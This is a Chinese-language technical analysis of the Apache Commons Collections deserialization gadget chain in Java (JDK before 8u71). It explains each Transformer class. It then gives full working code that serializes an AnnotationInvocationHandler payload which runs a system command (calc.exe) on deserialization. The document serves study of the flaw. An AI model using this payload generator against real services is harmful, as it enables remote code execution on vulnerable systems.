0x01 漏洞描述
Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响。
反序列化攻击成功的关键在于我们可以传入可控的反序列数据,并且目标存在可被利用的攻击链。这里以P牛的CC链为例,分析反序列化漏洞。CC链只能在 jdk 8u71 之前的版本使用。jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法。
0x02 漏洞分析
CC反序列化攻击链的关键在于Transformer接口,提供了transform方法,该攻击链便由实现该接口的四个类:ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap
ConstantTransformer
简化后的ConstantTransformer类如下,该类进行常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。该类的transform方法会返回构造函数传入的对象本身,跟调用该方法传入的参数无关。
public class ConstantTransformer implements Transformer, Serializable {/** The closures to call in turn */private final Object iConstant;public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}public Object transform(Object input) {return iConstant;}}
invokerTransformer
简化的invokerTransformer类如下,InvokerTransformer类transform方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。可能理解起来会有点困难,该方法相当于只是将调用方法的方式变更成了用反射的方式,其实跟直接调用逻辑并没有什么不同。
public class InvokerTransformer implements Transformer, Serializable {/** 要调用的方法名称 */private final String iMethodName;/** 反射参数类型数组 */private final Class[] iParamTypes;/** 反射参数值数组 */private final Object[] iArgs;public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {// 获取输入类的类对象Class cls = input.getClass();// 通过输入的方法名和方法参数,获取指定的反射方法对象Method method = cls.getMethod(iMethodName, iParamTypes);// 反射调用指定的方法并返回方法调用结果return method.invoke(input, iArgs);} catch (Exception ex) {// 省去异常处理部分代码}}}
例如本地调用计算器,在构造函数的时候传入要反射调用的方法名和参数,在调用transform方法时才传入具体的类。相当于:Runtime.getRuntime().exec("calc.exe"),返回值为Process对象。
public static void main(String[] args) {// 定义需要执行的本地系统命令String cmd = "calc.exe";// 构建transformer对象InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});// 传入Runtime实例,执行对象转换操作transformer.transform(Runtime.getRuntime());}
ChainedTransformer
ChainedTransformer类封装了Transformer的链式调用,在构造时需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformer的transform方法。简化后的类如下:
public class ChainedTransformer implements Transformer, Serializable {/** The transformers to call in turn */private final Transformer[] iTransformers;public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}}
使用ChainedTransformer构造本地调用计算器实例:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})};// 创建ChainedTransformer调用链对象Transformer transformedChain = new ChainedTransformer(transformers);// 执行对象转换操作Object transform = transformedChain.transform(null);
- 第一个ConstantTransformer.transform()方法:
- 参数:null
- 返回值:Runtime.class
- 第二个InvokerTransformer.transform()方法:
- 参数:Runtime.class
- Method method = Runtime.class.getMethod(“getRuntime”)
- 返回值:java.lang.reflect.method对象
- 第三个InvokerTransformer.transform()方法:
- 参数:java.lang.reflect.Method method
- Runtime runtime = method.invoke(null) //此处需要注意invoke()方法传入参数为null
- 返回值:Runtime对象
- 第四个InvokerTransformer.transform()方法:
- 参数:Runtime对象
- Process process = runtime.exec(cmd)
- 返回值:Process对象
对于步骤3中invoke()传入对象为null。因为method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用。实际调用的静态方法:public static Runtime getRuntime()
TransformedMap
TransformedMap类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap,只要调用TransformedMap的setValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,使用TransformedMap触发transform方法:
public static void transformmapTest(){String cmd = "calc.exe";Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})};// 创建ChainedTransformer调用链对象Transformer transformedChain = new ChainedTransformer(transformers);// 创建Map对象Map map = new HashMap();map.put("value", "value");// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象Map transformedMap = TransformedMap.decorate(map, null, transformedChain);// transformedMap.put("v1", "v2");// 执行put也会触发transform// 遍历Map元素,并调用setValue方法for (Object obj : transformedMap.entrySet()) {Map.Entry entry = (Map.Entry) obj;// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链entry.setValue("test");}System.out.println(transformedMap);}
跟进setValue()方法,会跟到checkSetValue()方法,该方法会对valueTransformer即我们传入的ChainedTransformer调用transform()方法。<br /><br />由于我们的ChainedTransformer中第一个Transformer是ConstantTransformer,其transform方法传入任何参数都是没有意义的,也就不会影响到攻击链。
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。
完整的demo如下:
public static void demo(){String cmd = "calc.exe";Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})};// 创建ChainedTransformer调用链对象Transformer transformedChain = new ChainedTransformer(transformers);// 创建Map对象Map map = new HashMap();map.put("value", "value");// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象Map transformedMap = TransformedMap.decorate(map, null, transformedChain);try {// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);Object instance = constructor.newInstance(Retention.class, transformedMap);// 创建用于存储payload的二进制输出流对象ByteArrayOutputStream baos = new ByteArrayOutputStream();// 创建Java对象序列化输出流对象ObjectOutputStream out = new ObjectOutputStream(baos);// 序列化AnnotationInvocationHandler类out.writeObject(instance);out.flush();out.close();// 获取序列化的二进制数组byte[] bytes = baos.toByteArray();// 输出序列化的二进制数组System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作ByteArrayInputStream bais = new ByteArrayInputStream(bytes);// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象ObjectInputStream in = new ObjectInputStream(bais);// 模拟远程的反序列化过程in.readObject();// 关闭ObjectInputStream输入流in.close();} catch (Exception e) {e.printStackTrace();}}
其中创建AnnotationInvocationHandler对象时,传入的第一个参数为Repeatable.class、Retention.class或Target.class都可。同时,创建Hashmap时传入的key必须为value,为类中的方法名称。
